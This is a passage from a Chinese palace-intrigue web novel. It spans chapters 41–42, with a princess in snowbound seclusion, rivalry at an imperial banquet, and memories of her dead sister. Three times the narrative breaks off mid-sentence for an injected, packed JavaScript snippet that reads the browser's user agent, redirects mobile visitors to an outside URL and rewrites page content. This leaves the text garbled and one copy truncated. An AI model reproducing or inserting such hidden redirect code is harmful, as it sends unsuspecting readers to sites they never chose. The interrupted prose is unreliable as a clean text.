临川暗暗注意着沈明枳的神色变化,“嗳,这事本就是他郇海山做得不够火候,你搬出来这么久,也不见他来看你一次,隔几日来一封信,就写那么寥寥几句,他也不是拙于口舌,那妙笔生花是怎样的锦绣文章都作得出来的人,可见其敷衍,幸好城里没有什么风言风语。” 沈明枳神色淡淡,语气也淡,但说着便笑了起来:“我忙,他更忙,上回戒子来看我,听说他已经在刑部凑合了一整个月,‘隔壁大理寺的官老爷们备受打击,于是纷纷自请加班’,你看看,这般上进,让他再做几篇花团锦簇的文章,岂不耽误公事还打击了大理寺的积极?” 临川干笑两声。 “莘莘那里,你帮我劝着吧,她关心我,我心里高兴,只是不能亲自下山去看她了。” “你不回城过年了?岁末宫宴在即,圣上和皇后一定是要召你的。” 沈明枳伸了个懒腰:“没必要,逢年过节他们最是忙碌,我就不凑这个热闹了,开春之后再去看娘娘吧。所以今年,劳你替我去给他们拜年,还有长公主姑姑那里,我也得失礼了。” 今年冬天的雪远大于往年,帝后便将畅春园里的露天夜宴改搬到了一旁的仪銮殿中,殿宇原本修得极其恢宏,但和大敞着迎天接地的畅春园相比,还是逼仄许多。这本该是热闹、拥挤、喧嚣选胜去年的一场夜宴,可经冬以来,辽东三州冻害、淮海道雪灾尤为严重,边境长城上还冻死了兵士,西域诸国穷得没法过年,方台等国内动乱,闹得大楚边疆也不安宁,四面八方的奏折雪片似地飞往化隆,堆满了通政司的大堂、也堆满了御书房龙案,天上的雪还没压塌屋顶,地上就已经下陷了一只大坑。 郇寰是跟着刑部尚书萧叔苓入的仪銮殿,一眼就在众人之中看见了被父兄押着、被人情往来逼着谈笑风生的申不极。申不极自然也看见了他,连忙挤眉弄眼地给他使眼色,奈何萧老尚书的眼神不大好,带着郇寰跟郭明修为首的阁臣一一见面后,还绕道去和大九卿里资历极老的礼部尚书陈阵嘘寒问暖,这一番劳动过后,方才轮到抱团扎堆的公侯们。 申不极是呆不住的,他父兄见郇寰来了,便也没有继续拘着他,任由他做贼似地跟在郇寰身后,趁人不备溜了出去。 “你怎么也来了?”郇寰被申不极拖出了仪銮殿,拢着裘衣在殿前长廊慢慢走着。 “天知道呢——”申不极逮住侍候一边的小内侍,要了一杯热腾腾的茶,拉着郇寰坐在了廊道旁的长椅上,神神叨叨地小声嘀咕:“今年年末邪门得很呢!” 郇寰刚要轻斥,就见申不极一努嘴,朝殿内一比:“那些个人精都凑在一起商量朝廷大事,难为你兄弟仗义,愿意陪我在这儿吃冷风。” 郇寰一抽嘴角:“你也可以不用吃冷风的。” 申不极咂咂嘴:“与其名不副实、德不配位地呆在里面侃大山,倒不如在这里吃冷风。” “你居然也有了什劳子气节,稀奇。” 申不极一哂:“不说这个,还是说这个年吧,邪门!上月窦勤诲狐死首丘,姓窦的一个不落全都去职,窦宙丁忧在家,窦宇却夺了情,素服在身不参加任何吉礼。丧父最哀,赵王妃今天也不会来吧?” 郇寰点头:“是。不过升平当朝,夺情并不罕见,规矩也不严,就连我一个文臣,当时品阶不高,只因手上案子紧迫,朝中有人打点,丁外艰也夺了情。窦指挥使是武将,拱卫天子左右更为紧要,且自古就有武将金革夺情的惯例,他夺情并不稀奇;至于窦侍郎,考课评议尚未结束,兴许圣上还有其他打算。” “重点不是窦氏兄弟夺不夺情,重点是赵王妃不来!魏王世子风寒高烧不退,前天迷迷糊糊醒了过来,人却痴痴傻傻,故而魏王妃也不来。前些天听说吴王妃诞下一子,不幸夭折,外头传吴王夫妇感情如何深厚,如若是真,今夜他们一家都不会来。” 申不极扳起手指,将城中的这些琐事一一数了出来:“还有秦王,八百年不回头的浪子一个,居然开了窍上双塔寺要为帝后祈福,老天都知道他用心不纯,所以大雪封山被困在了寺中,也不会来。还有邕国公主,受寒发了高热,家中养病呢,现在的这些公主里面,除了你家这位,圣上跟前最得脸的就是她了,结果这两位都没来。长公主就更不用说了,还在临川府压根不打算回来过年……” 他刚要下结论,就见远处众星捧月地走来几个人,定睛一看,居然是赵王带着晋王来了,郇寰即刻起身迎了过去。申不极磨磨蹭蹭站了起来,朝两位亲王揖完了礼,就见跟在他们身后的居然就是寇一爵,顿时皮笑肉不笑地挪了过去:“呦,大内宫禁、仪銮殿前,寇郎中是稀客啊。” 郇寰刚别过赵王,就听寇一爵与申不极针尖对麦芒,言语互殴:“申二爷也少见。” 申不极谑笑:“是,确实,这宫宴我的确少来,小时候、十几岁时是常来,后来婚姻大事彻底敲定,便也没必要次次都来物色佳人了,这几年过去了,今夜和寇郎中一样,是头一遭。” 被申不极处心积虑地掀了伤口,寇一爵面上还是笑盈盈不动声色,心里却将申不极的祖宗十八代问候个遍,偏生申不极的话还没说完,更扎心的还在后头:“所以申某惶恐啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624294|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟每年能来宫宴给圣上唱贺祝酒的,都非等闲——” 他睃着寇一爵的脸色,一扬杯,朝廊下正朝大殿走去的左都御史柳曦既虚敬,“诸如三公九卿,还得是大九卿才登得了仪銮殿——” 柳曦既方才在和右都御史楼宥谦谈事,没注意到黑黢黢里陌生脸孔的申不极居然把他也搅和了进去,楼宥谦这个小老头却很机警,一看见招摇在殿门处的郇寰和寇一爵就打起了十二分精神。此时正见郇寰和寇一爵看了过来,他即刻咬住话头,朝三人颔首一礼。 申不极心里大叫天助,瞅准时机,又朝紧跟着两位察院首长而来的兵部侍郎韦不决和老尚书杜育博敬道:“或者是坐镇一方的封疆大吏、身经百战的将门中人——” 看见杜育博时,寇一爵的脸色就已经绷不住了,谁料申不极下一刻就将杯子敬向了郇寰,他手中已经凉得结冰的茶杯硬是被敬出了几分痛饮时的畅快,“再或者是出身世家的有爵之人,尚主的驸马、入府的仪宾,根正苗红的皇亲国戚。申某眼孔短浅,平生二十余年,在这仪銮殿上什么样的贵人没见过?独独没见过寇郎中您这样的五品小官,可见寇妃娘娘的这条亲缘纽带,过硬啊!” 饶是郇寰,也被申不极在皇宫大内的这番胡闹给惊着了,刚要开口打圆场,就见寇一爵居然笑着看向自己,“听说萧老尚书致仕的折子已经批下来了,圣上恩典,留老尚书在宫中过年,放到朝中,这都是多么大的喜事。不过鄙人要格外朝郇侯道喜,毕竟郇侯既是老尚书的族亲、又是天家的女婿,毫无悬念必要接大司寇之衔,这个年纪就已经是秋官尚书,郇侯可是头一人。” 申不极头皮一麻,周遭气势如土委地,惴惴不安地看向了郇寰。 他这回引火烧身,结果烧到了郇寰身上! 不过郇寰远比他想象得从容:“寇郎中过誉了,升降任命乃国之大事,圣上正直清明,天官公正无私,典铨之事必然明功过、孚众望、当所归,我等臣下只需竭心尽力侍君奉职,静候圣意。” 寇一爵哈哈笑了起来:“郇侯说得对,不过鄙人也是替你高兴,要开宴了,郇侯赏脸偕行?” 郇寰佯笑一让:“寇郎中请。” 等寇一爵进了殿,申不极这才战战兢兢地问他:“你真要升官了?我怎么没听见风声?” 郇寰横了他一眼,从牙缝里挤出两个字:“多嘴。” 申不极自知放肆,吞了郇寰的训斥,乖乖枯坐,等着上场散席。宫宴分上下两场,留下来的都是机枢贵要和皇亲国戚,宴无好宴,申不极抓耳挠腮呆着无趣,乍见郇寰和寇一爵这针锋相对的两个人,居然笑谈融洽、口蜜腹剑的,顿时打消了继续呆下去的念头。 “没想着你们同一派系的人,也刀光剑影的,天下真无一处你郇海山能够安寝。” “话多。” 申不极哼哼以示不满,“公主那头你还是上点心吧,四周虎视眈眈的,你别以为有了名分就高枕无忧了,连我都看出来了,帝后对你颇有不满——诶诶诶,你别说我多嘴,我就多嘴这一回,我就犯贱,戴碓臼玩狮子,吃力不讨你好!” 郇寰心中无奈:“这是在宫里,得注意。得了,前头就是御花园,该怎么去安福门你都知道吧,我就不送了,申景,看好你家主子,后廷可不能乱闯。” 申景应是,申不极的脾气则一股脑上来了,骂骂咧咧地扬手踩雪走上了宫道,不一瞬就消失在了黑夜里。 郇寰紧了紧领口,慢慢踏雪往回走,没几步,就见宫道旁的梅花正盛,烈焰似火,直燎天际,奈何这场雪太大,把红梅煊赫的心气也浇灭不少。林中远远转着三两个人影,提着扫帚,议论抱怨不绝,想来是扫雪偷闲的宫人。 他刚要往回走,前方迎面走来了寇一爵,“鄙人听闻畅春园的梅花也是一绝,郇侯可有兴致共赏?” 41. 第四十一章 听雪声 他比了一个请了手势,郇寰顺势随他走下了宫道。 “方才殿中说至韩宗英丁忧,郇侯有何见解?” “我有段时日不在京中,这些事情了解不多,还望寇郎中见教。” 寇一爵不再假意推却:“户部尚书姓邹,燕王的娘舅,韩宗英殿试名次不佳,若无人打点,势必入不了户部,而谁会打点,不必言明,吏部户部还有燕王肯卖这个面子,也有蹊跷。常言道,金童得配玉女,才子得配佳人,鄙人胡言,真心觉得长乐公主也瞧不上这位韩进士。他祖上三代白衣,家中独子,只有老母洗衣供给读书,中了秀才、贡士后,想押宝的富商、仕宦不计其数,偏生他母亲找人算了一卦,说他有攀龙附凤之命,搞不好将来是要尚主的,登堂入室、贵不可言,这便一一回拒。” 林中小道走了几步,深处积雪便厚厚堆到了小腿中间,郇寰和寇一爵便止住了脚步,打算折返。寇一爵继续道:“传言出来他被魏王看上,得了户部肥缺,便将老母接到京中赡养,不期入秋,他老母亲惦记着给他亡父上坟,便回了一趟老家。老太太身体硬朗得很,结果下山时摔了一跤,人就摔死了。” “意外。” “当地县衙报的也是意外,不过你想想,这倒也算不得意外。魏王待她这个亲妹妹有多好,那些言官那些山堆似的弹劾就说明了一切,今天一件百鸟朝凤裙,明天又是从藩蛮弄来的宝石做骰子,朝廷四面八方都要用钱,国库里一文钱多余都没有,宫内又过得这样拮据,偏偏他一个亲王挥金如土、兄妹情深。他这般宠爱他妹妹,玉帝下凡给他当妹夫他都能挑三拣四,怎会拿一个韩宗英恶心人?” 郇寰沉吟片刻道:“婚姻之事,实不能全以家世样貌言好坏,若她震慑不住后宅里的妖魔鬼怪,抑或者生性单纯天真,挑了高门大户,反倒断送了卿卿性命。是真为她好,那便只希望她能平安顺遂、一生无虞,脸面权势,不足挂齿。” 寇一爵哂笑:“鄙人听闻,郇侯的妹妹也到了年纪,郇侯这是有感而发啊。” “作文铺纸研墨,纸有了,但墨不够,要从韩宗英入手,并不划算。” 寇一爵收起玩笑:“确实。户部倒是明晃晃的靶子,但群狼环伺,你箭还没射出去,他们就扑上来把你撕了。” “赝品事还无实证?” “单凭小姑娘家家的一句话就大张旗鼓地查抄尚书府,这是疯子才会干的事。我遣人几次探秘,都找不到那只瓶子,他家里摆出来的东西也都中规中矩、纠不出错。户部侍郎覃玉麟是邹秉童的得意门生,我便着重把他也查了个遍,愣是什么疑点也没有。” “这些东西并不值钱,就算是倒卖假物,那至少得仿天元以前的宫廷之物。” “开国改制,内务府总领二十四衙门,前朝旧物全由他们造册登记。嘉宁、天保两朝太短,建武、晏平又动乱纷纷,宫中之物遗失颇多,旧册又早就锁入皇陵紫微宫了,现今民间流传的晏平赐物,大都也是仿冒的,粗制滥造不计其数,真品不在皇家的地宫、就在这些那些功臣的陪葬,巍巍宫禁里你也找不出几件。” 郇寰心境下沉。他让胡全德通过倒卖一条线去顺藤摸瓜,结果连藤蔓的根还没摸到,寇一爵这里也毫无进展可言,眼看着赝品一事就要搁浅,他只能道:“此事就先搁着吧,若有急需,诈供也不是不行。” 话落,两人艰难地走了几步,就听身边的梅花丛里细细簌簌传来踩雪足音,宫女的议论也随着脚步声传入了这两位过分敏感的朝臣耳中:“嗳,这崔嫣真是不要脸!仗着自己有几分颜色,不是去勾搭圣上,而去和阉人当对食!居然挑唆梁少监给我们使绊子!” “你少说几句!万一叫别人听见了,梁少监还没出手,下头那些狗腿的不知能干些什么……” 寇一爵面色一凛,低声自问了一句:“对食?” 郇寰往声音消失的方向看了一眼,语气平平:“宫掖之中,怨旷无聊,解馋止渴,出此下策,帝后也不严禁,不须稀奇。” 寇一爵摇摇头:“这少监梁皋是我们换进去的人,还有这姓崔的尚仪局宫女并不简单。” 郇寰的声音也冷了下来:“怎么回事?” 寇一爵环顾四周,确定连路过的孤魂野鬼也没有一只,方才压低声音解释:“这崔嫣有个姐姐,听说与外臣私通,老早就被处置了,结果这崔嫣在宫里四处得人照拂,姑母派人打听了许久,才探出要照拂她的人居然是皇后身边的卢嬷嬷。梁皋虽只是个少监,但管人员调动,和前朝宰相燮理九卿一般无二,这崔嫣攀上了他,是想去菁明书院。” “那里从讲学的先生到后厨的掌勺,全是男子,她一个女子去那里作甚?” 寇一爵嗤笑:“这天下事,总有一些是她一介女流能做的、且只有她能做的。听说她很喜欢文墨,什么红袖添香、佳人在卧的,那些个老子头、少书生最最乐意了。” 郇寰不喜欢寇一爵话中的调笑意味,“调她去菁明书院没有先例,且梁皋有这个权利么?” “可宫中也没有明文禁止,梁皋有没有,权不在他,重点是皇后那边保不保这个崔嫣。” 郇寰不再说话,沉默地走上了宫道,快到仪銮殿时,心事重重的他骤然被寇一爵的声音惊醒,抬头放眼看过去时,正见从偏殿里恭敬走出的女子刚还完梁国公主侍女的礼,正朝自己这里看来。他一看见这双眼睛,便想起了岭南罔乡县郊的那个雨夜,拨开洒满腥血的密丛,对上自己匕首的那一双眼睛里就闪着惊恐与动容。时过境迁,这明亮的眼眸里已经看不见少女的青涩与局促,充盈的全是和她主人一样的从容娴静。 “熟人啊。”寇一爵打量着苏霄婷婷远去的身影,这样不阴不阳地笑问郇寰。 登时,郇寰心里就起了一把无名焰火,可转瞬间他又平复下来。他把苏霄送进太医院,走的就是赵王的门路,赵王知道了,宫里的寇妃也就知道了,寇妃知道了,她的侄子寇一爵理所当然就知道了,连带着自己的姑苏往事,寇一爵自动会掘地三尺地挖出来娱乐。 寇一爵抱臂,仍然望着苏霄消失的方向:“我听姑母说,宫里的这些女官就数她最出挑,可而今一见,亦不过如此,身世平平、姿色平平,还能得姑母如此青眼,可见其才能不平、一鸣惊人。” 方才粗略看过苏霄的模样,郇寰也觉出了陌生,她应当刻意改动容颜以防生事。寇一爵这番话明面上在夸寇妃慧眼如炬,实则在暗讽他挑女人的口味不行。事情已经到了这个地步,他不回敬几句倒砸了寇一爵的场子,郇寰冷笑:“寇妃娘娘的眼光自然是一流的,只是郇某听闻专门侍候中宫的方太医收了一名技艺超人的女徒弟,不过郇某就奇怪了,太医院这么多医术超群的太医,王太医、贾太医的,还有执掌院使的蒋太医,都没收几个徒弟,这肖医婆怎么偏偏就拜在了方太医的门下?” 郇寰悠悠转过身,笑看向脸色发黑的寇一爵:“寇郎中大才,不知可能解惑?” 良禽择木而栖。 言毕,郇寰甩手进了仪銮殿。 这个年,皇城内外过得很凄冷,沈明枳也很清净,大雪封山,一下子连城中书信也悉数断绝,她全然变成了两眼一睁就白茫茫一片的瞎子。起先她很不适应这种与世隔绝的孤独,将宁晨铎送的两册书翻烂了也解不开她心里的忧思,后来她全然看开了,可偏偏在这个时候,这沉静如水的日子叫秦王老九这块石头打破。 他在双塔寺啃干粮,捱不住跑来蹭点火,算是在临川走后,给这个年添了点人味。 “我看见你院里有一树红梅,开得当比畅春园的还要好看。” 沈明枳应了一声,兄妹俩相对无言,唯有炉中的火,不管人死活地跳着舞。过了一会儿,老九见在炉上煨着的热茶“嘟嘟嘟”地尖叫起来,便坐起身垫了抹布将茶壶提到了桌上竹垫上,翻开倒扣着的杯子给沈明枳沏茶。 就在此时,沈明枳扫了一眼他跪着的左腿,“腿还好吗?” 老九倒茶的手一颤,滚烫的茶水就此泄到了他扶着杯沿的食指上。 沈明枳嘴唇一扯,没制止老九继续若无其事地倒茶,起身将关得严实的窗推开一条缝隙,在冷风呼啸而入的当口,抓了一把窗台上的积雪。扣紧窗户过后,她便坐了回去,扒开老九紧握着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666678|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的右手将那团雪塞了过去,随后用袖子掩着双手,轻轻地搓了搓冻得发红的指尖。 老九托着那团雪有些发怔,过了片刻才小声地道了谢,将自己被烫肿的手指贴上了冰雪。 火热熄于冰凉,老九不由自主想起了以前,太子哥还没有死,她还没有嫁人,自己还没有开府,他们还会一起在御花园里玩雪。有次沈明枳烫了手,平日里很机灵的小姑娘这回却转不过来,跳着脚要跑到结了冰的莲池边洗手,自己就淋了一捧雪到她手上。 屋里温度很高,那捧雪很快就要融化了。 沈明枳又起身,从花架上取了一只尚且冰凉的瓷盂放置桌上。 雪水一抔,而桌上落着的滚水已经凉透了。老九将这几滴水抹去,知道沈明枳的心也是这个温度。她在南海道过得很难、很遭罪,而那一切本都要由自己承担,她心中没有怨是不可能的。但这也不至于让他们之间的关系僵硬至此。她应该是对自己,太过失望了。 人各有志。 他沈明伐这辈子就只想当个平平安安的闲散亲王。 “鹇儿……”老九艰难地开口。 “不必多说。”沈明枳打断了他,将杯中的茶一饮而尽,“我都知道。” 老九轻笑着摇摇头:“他们都说你有七窍玲珑心,最是通透明达。” 沈明枳轻笑:“听你的话头,难道我不是吗?” “哪有人这样不谦虚的?”老九笑着从杯上抬头,侧耳听起了窗外远山的松涛落雪。初时,舒缓一如空山琴响。接着,纷纷扬扬一如瓦上雪声。然后,哔哔剥剥的火声被浩浩汤汤的水声扑灭。旋即,错杂纷踏,草原的群马乱蹄也不及此时沸腾。最后,是远古神灵劫难不成坠落凡俗的惊天巨响。 沈明枳鲜见他这样出神,刚也要细细聆听,就见他再一摇头:“鹇儿,有些话心里再明白,还是要说出来的,不说,你猜我猜,万一两厢巧合猜错了,便是误会。” “你我之间,有什么可误会的?” 老九不知想到了什么,眼神罕见的生冷,待他再抬头时,又全然都是年青人的轻狂和装出来的端庄,“也是,你我兄妹,我什么样你最清楚。我七岁时没了母妃,那时候皇后身边有你,又有了戒子,我年纪也大了,也不需要女人看护,便今天跟着东宫,明天跟着老六老七,等他们两个也就藩了,父皇就把我送到了邕国的母妃林娘娘身边。” 老九笑得松快:“说实话,你也不得不认,这兄弟姐妹十几个里,就我人缘最好。” 沈明枳没理睬。 “鹇儿,你知道我这辈子最渴望的一件事是什么吗?” 沈明枳抿唇,看他望着窗外水晶般的冰雪世界,喃喃念道:“化隆的气候很干,可偏偏到了冬天,母妃的宫室又冷又湿,她不敢和皇后说,怕给他们添麻烦,也怕给我惹麻烦,上好的炭火她紧着我用,自己成天跪在那里念经抄书,膝盖乌青,一下雨就痛。她说她是粗使的宫女出身,吃惯了这种苦头,让她当一回人上人反倒不受用……” 老九沉默了许久,方才哽咽了起来:“小时候很多事情我都不记得了,只有一件事,我记得很清。那时候我一点点大,读书却很用功,我想着得了先生夸奖,让父皇知道了,父皇会高兴,一高兴,兴许就想起了我的母妃,就会来看看她,她就不会过得这么苦。后来父皇真的来了,可父皇走后,母妃却抱着我哭了起来,并且让我不要再这么努力用功,还跟我提起了你,让我与你一起玩,说这样父皇才会更喜欢我。” 他抬起眼,看向沈明枳时不乏羡慕,亦不乏无奈与痛苦,“她还说,我好歹是皇子,再没出息,该有的都会有。你知道吗,那时我可讨厌你了,刁蛮任性,最难伺候,我还得上赶着捧你的臭脚。老十,我们十几个兄弟姐妹,真的好像只有你才是他的孩子。母妃说真的该有的就都有了吗?未必,但没出息是真的,毕竟我这辈子唯一的渴望、母妃对我唯一的指望,就是好好活下去。” “鹇儿,如果可以,我想一辈子也走不出母妃那逼仄潮湿的宫室。” 屋内一时无话,老九握着杯子,杯中茶水凉了又温。 42. 第四十二章 伤心处 “阿姐!” 沈明枳倏然睁开眼睛,满身是汗从床上坐起。在帷帐落下制造出的狭小天地里,她什么也看不见,只能听见自己喧嚣的心跳声逐渐平息。 昨天听老九说了不少童年事,她当晚就梦见了从前,难得是个美梦,结果梦到尾梢她又见到了大姐姐。这是她魂牵梦绕想念了多少年的人,隔着梦与她再度相见,乍然却不知所措起来。 沈明枳又躺回了被窝,呆呆望着帐顶。 她记得,大姐姐的生辰快到了。 这时,月珰挑起帘子走了进来。 沈明枳出声问:“老九呢?走了?” “是,秦王殿下要不少吃食被褥,往双塔寺去了,相送的仆役回来,说是不少香客都被困在山中。听说韦将军家里也派了人上山给夫人祈福,保佑腹中胎儿平安诞生;哦还有都察院新晋的右佥都御史介大人也在,介家老夫人病重,介姑娘上山祈福,介大人是亲自驾车来接时被困在的山中……” “原来如此。” 月珰一愣:“嗯?什么?殿下方才说什么?” 沈明枳撑着被褥坐了起来,“水涨船高,介御史这一趟搏命回来不可同日而语,我早就听闻城中有不少人在打听他的婚事,她妹妹养在闺中,也有不少戚畹权贵主动相看。我这九哥难得来关心关心我这个妹妹,原来是早早打定主意要借花礼佛地献殷勤,这才事先给我吃定心丸呢。” “窈窕淑女,君子好逑。” 沈明枳笑着摇头:“若真是如此,倒也不错,他从前闹过不少荒唐事,不过心思还是好的,介姑娘就算再嫌弃他、看不上他,好歹看在他救过介御史的份上,总要给他几分体面,有了这几分体面,若真能心有灵犀,接下来一切就水到渠成了。” 月珰夸不出秦王老九,只能夸介姑娘:“他们都说介姑娘和介大人不是双胞胎,却极其相似,介大人有多俊,这介姑娘还要更美上几分。” 沈明枳仰头回想起介含清的模样,大抵对介姑娘有了认识,忽地她又想起了榜下捉婿的趣事,不禁又要感慨起介含清这耿介到直愣发蠢的脾气。性情耿介也并非全是坏事,心存正义、磐石不移才不至于失了做人的根本,但过则为灾,只盼南海道走一遭回来,他能挺起背、也愿弯下腰。 沈明枳起身,“只愿介姑娘的性子不会和她哥哥一样直愣。” 今天窦宙要来给她拜年,其实窦宙算她长辈,理应由她去给窦宙拜年,但君臣有别,于身份一事上,窦宙比她要轴。他也被这场大雪困在了山上,而窦宇还在宫中。沈明枳已能想见窦宇气急败坏的样子,毕竟这二愣子眼里只有他这个哥哥,天大地大哥哥最大,皇帝老儿也排第二。 “压岁钱就不必了。”沈明枳嘴上这么说,手上却不客气,末了还掂了掂,笑得更加欢快:“若是让窦指挥使知道,那我可就遭殃了。” 窦宙鲜见东宫病逝后沈明枳有这么开心,一扫心中郁郁,“公主放心,他必然不会知道的。” 沈明枳笑了两声,亲自迎窦宙进院,不过是这两句话的功夫里,天上又飘起了柳絮般的雪点。沿着回廊走了两步路,雪越下越大,遮蔽了帘外天光。就是在这样墨笔刷过的阴晦里,院里墙角的几树梅花正盛,如同一团喷播着热与光的火爆裂在窦宙眼前。 这是此刻天地,唯一的颜色。 沈明枳发觉他的步子一顿,顺势抬头望了过去,却见窦宙回神,喟然叹道:“在塞外很久没有见过这种颜色了。” 话落,窦宙随即感到了气氛微变,不由懊恼,正打算装作释然地糊弄过去,就见沈明枳偏侧了头,拢了袖中的手,对着那些在北风里尽情起舞的梅花应和时的模样让他看出了几分梅如故状似洒落的影子:“是啊,我大姐姐最喜欢这种颜色了。” 窦宙一愣,心绪上涌,一时间不知道说什么来接她的话茬。 也许是袖子里捏着的那只红包给的勇气,沈明枳转过脸仰头问他:“将军还记得十几年前我问的那个问题吗?” 窦宙一噎。 他记得很多事,又好像什么也没记住。可他看见了梅花,那开得越来越旺、越来越艳、越来越有生机的花朵,那是火、是血、是喜、是死的大红色,他以为自己早就忘却的记忆又不请自来,只言片语也随这入檐北风吹入耳畔。 但沈明枳没有给他时间,只是扬了唇角将话头又岔了出去:“不记得也没关系,反正她要过生辰了。” 沈明枳再度叹息:“她要过生辰了,在这大雪天。” 她兀自一笑出声:“她生辰前的两三个月,我就会满东宫地宣扬,让大哥哥、乔致用等快快搜罗起奇珍异宝去哄她高兴,一来二去,将军是外臣,你也知道了她的生辰是正月的哪一天。” 窦宙用沉默应下。 “那时还是十月多,在靖远门外的上林苑,将军带我骑马。其实明面上是她带我出来玩,实际上,是我给她打掩护。唉,我有多么喜欢骑马,就有多么讨厌齐珏,我为难齐珏大姐姐就要训斥我,为难温顺的马太子哥哥又要训斥我,但我为难将军,将军却闷声不响暗自吃亏也不想着告状。” 窦宙的脸上有了一丝血色。 那个时候的沈明枳不仅和她仪态万千的大姐姐不同,和厚德载物的太子殿下也不同,身上连皇后娘娘贤惠端庄的的影子也没有,像是个横空出世的魔星,爱干坏事,但干了坏事后又能叫自己舍不得骂她。 旁人说他窦宙年轻时候的脾气就很温顺,但其实只有他自己知道自己的脾气。 他其实和小孩子聊不来,尤其是家里的弟弟,但他好像很喜欢和沈明枳相处,随心自在又不逾矩,有一种胜过血亲的亲近。他对她是十万分的恭敬,她也跟着旁人称呼他一声所谓的“将军”,但他们可以互诉越过君臣沟壑的牢骚闲话。 “那时候的将军,可真愣,我问你喜不喜欢我阿姐,你居然敷衍我,说什么化隆上下无人不喜欢她,你这话说得有什么意义?你这话跟我说有什么意义?” 所以当时的她童言无忌,将窦宙伤得体无完肤,她说:“那将军怎么不表白心意,阿姐会很高兴的。” 她没有恶意,在旁人看来却是极其促狭。长安公主思慕靖安世子这是化隆上下人尽皆知的事情,且他们会结发携手也是大家心领神会的事情,沈明枳常伴左右,如何摸不透她的心意,却还要叫自己去剖白什么心意,让自己流血。 沈明枳笑得自嘲轸怀:“将军那时,一定很生气我太不懂事了对吧,不过你从不对我发火……那将军还记得,你怎么回答我的吗?” 窦宙抿唇缄口,听沈明枳自问自答:“错误的爱会给被爱的人造成伤害。” “我问‘怎么就错了’,是,我现在也不明白这怎么就错了,你说,‘公主还是孩子,公主还不懂’。将军,我现在已经不是孩子了,可我依然不明白,这个人很好,所以你仰慕她、爱她,这又有什么错?不能心意相通、携手白头就是错吗?你甚至不用告诉她你的心意,等哪天你觉得感情淡了,那就算了,这又有什么错?” 窦宙心神俱摧,稳住发颤的声音想要回答沈明枳的问题,可他一句滴血的话也说不出来。 公主,这不是爱。 所以,这一点也不错。 仰慕她、喜欢她,确实连她的回音也不必有,要求得过分即为强求,多少孽债都源自强求。喜欢只是一个人的事,能明白这个,已经难得。 “将军,当年我让你去告诉她,并不是拿你寻开心。是她说,她觉得齐珏一点也不爱她,齐珏那么好,这么多人喜欢他,她越发觉得自己除了身份一无是处,是她自己不够好配不上被齐珏爱……” 窦宙的心仿佛被人狠狠揪了一下,“不……不是……她这么好,她怎会这样想自己……” 沈明枳看不见自己脸上的凄楚,但她听得出自己话中的苦涩:“所以我只是想,她生辰那日会有一个人告诉她,她很好,分明是齐珏,文不成武不就,空有家世皮囊和花言巧语,配不上她的明明是齐珏……她真的太伤心了,我希望她开心,正好你也真的喜欢她。” 窦宙苦笑,看向她垂下脸,躲进了帘子投下的一片阴影里。 “我见过她的伤心,她的心也最软了,最见不得旁人也替她伤心。所以将军,不要记了,不要让你自己也这么伤心。” 窦宙将逼至喉咙的那种酸楚咽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“公主,若世上真有魂灵……”窦宙说不下去,他不知废了多少努力,才沙哑着喉咙重新开口:“公主,他们不会想看见你这个样子。” 流云淡去,景光大盛,沈明枳藏着的一张泪流满面的脸也逐渐明了。 沈明枳本打算请窦宙吃饭的,现在一切都砸了。她盯着那树梅花许久,最终还是打消了砍伐干净的念头。这毕竟在大姐姐的生日里,毁了她最爱的颜色,总归不好。 ** “嗯?还没喝完吗?” 月珰奉上一碗热腾腾的汤药,笑盈盈的:“还没,上山前奴就叫人按照孙先生的方子准备了不少,哪怕是吃到正月末也不会断的。” 沈明枳勉强地扯了下嘴角。 “殿下最近还做噩梦吗?” 沈明枳默了默,答道:“还好吧。” 月珰点点头:“看来孙先生开的药还是有效的,奴这就准备回信告知孙先生……” 沈明枳看着月珰的忙碌,默默将心事都吞得干净。 其实她又做噩梦了。 这么冷的天,她却梦见雪小山道出,圣上派锦麟卫来接她下山。 掀开厚厚的车帘,伸过来搀扶她的一只手,却是凌云重的。这个在临川的编排抱怨中逐渐要消失的男人,突然出现在了冰天雪地里,出现在她眼前。 她很愤怒于凌云重眼里不该属于这些生死判官的悲悯,于是她甩开了凌云重长着厚厚老茧的手,甩开了月珰的搀扶,也不知道为了什么,就这样拼命地沿着宫道朝前方跑去。 内廷不允疾行,不允失仪。大姐姐那么严肃地教她宫规。 鹇儿向来有分寸。太子长兄这么自豪地对圣上说。 长平办法最多了。梅问香笑盈盈地告诉娘娘。 但是现在,她失仪了,没有分寸了,没有办法了。 她其实根本认不出,这无尽的宫道通向何处,也不知道高墙之内压抑不住的哭声是为何故。 礼部尚书携宗人令急急而来,吃惊地望着呆立在宫门口的人。 后面跟着乌泱泱的一群人困惑地抬头张望。 孙先生前几天就随晋王进宫,此时只跪在宫墙角心里自责该死。 邕国接到消息从宫门出来,一不留神摔在了门槛上。 赵驸马心急地扶起了她。 老九这个时候也赶下了山,身上还是前几天求收留时的衣裳。 